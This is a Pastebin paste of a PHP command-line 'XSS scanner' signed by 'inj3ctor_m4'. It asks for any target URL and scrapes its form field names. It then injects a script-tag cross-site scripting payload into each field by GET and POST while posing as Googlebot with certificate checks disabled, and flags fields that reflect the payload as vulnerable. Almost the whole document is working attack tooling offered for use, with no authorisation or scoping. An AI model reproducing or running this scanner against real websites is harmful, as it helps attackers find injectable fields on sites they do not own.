inj3ctor_m4

XSS SCANNER

Dec 10th, 2014
1,344
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.17 KB | None | 0 0
  1. <?php
  2. # PHP XSS Scanner // INJ3CTOR_M4
  3.  
  4. echo"
  5. ____  ___  _________ _________   __________________     _____    _______  
  6. \   \/  / /   _____//   _____/  /   _____/\_   ___ \   /  _  \   \      \  
  7. \     /  \_____  \ \_____  \   \_____  \ /    \  \/  /  /_\  \  /   |   \
  8. /     \  /        \/        \  /        \\     \____/    |    \/    |    \
  9. /___/\  \/_______  /_______  / /_______  / \______  /\____|__  /\____|__  /
  10.      \_/        \/        \/          \/         \/         \/         \/
  11. ";
  12.  
  13. echo 'URL TARGET? # ';
  14. $x=trim(fgets(STDIN,1024));
  15.  
  16. $ch=curl_init();
  17. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  18. curl_setopt($ch,CURLOPT_URL,$x);
  19. curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);
  20. curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
  21. curl_setopt($ch,CURLOPT_TIMEOUT,30);
  22. $data=curl_exec($ch);
  23. preg_match_all("#name='(.*?)'#i",$data,$matches);
  24. $forms=array_unique($matches[1]);
  25. foreach($forms as $form){
  26.     $resultat=scan($x,$form);
  27.     if($resultat == true){
  28.         echo"\r\n$x : $form >\tVULN!\r\n";
  29.     }else{
  30.         echo"\r\n$x : $form >\tNOT VULN!\r\n";
  31.     }
  32. }
  33.  
  34. function scan($x,$form){
  35.     $payload='<IMG """><SCRIPT>alert("HAMZA")</SCRIPT>">';
  36.     $ch=curl_init();
  37.     curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  38.     curl_setopt($ch,CURLOPT_URL,$x."?$form=".urlencode($payload));
  39.     curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);
  40.     curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
  41.     curl_setopt($ch,CURLOPT_TIMEOUT,30);
  42.     $data=curl_exec($ch);
  43.     if(preg_match('/HAMZA/',$data)){
  44.         echo"\r\n[!] Method GET";
  45.         return true;
  46.     }else{
  47.         $ch=curl_init();
  48.         curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  49.         curl_setopt($ch,CURLOPT_URL,$x);
  50.         curl_setopt($ch,CURLOPT_POST,1);
  51.         curl_setopt($ch,CURLOPT_POSTFIELDS,"$form=".urlencode($payload));
  52.         curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);
  53.         curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
  54.         curl_setopt($ch,CURLOPT_TIMEOUT,30);
  55.         $data=curl_exec($ch);
  56.         if(preg_match('/HAMZA/',$data)){
  57.             echo"\r\n[!] Method POST";
  58.             return true;
  59.         }else{
  60.             return false;
  61.         }
  62.     }
  63. }
Advertisement
Add Comment
Please, Sign In to add comment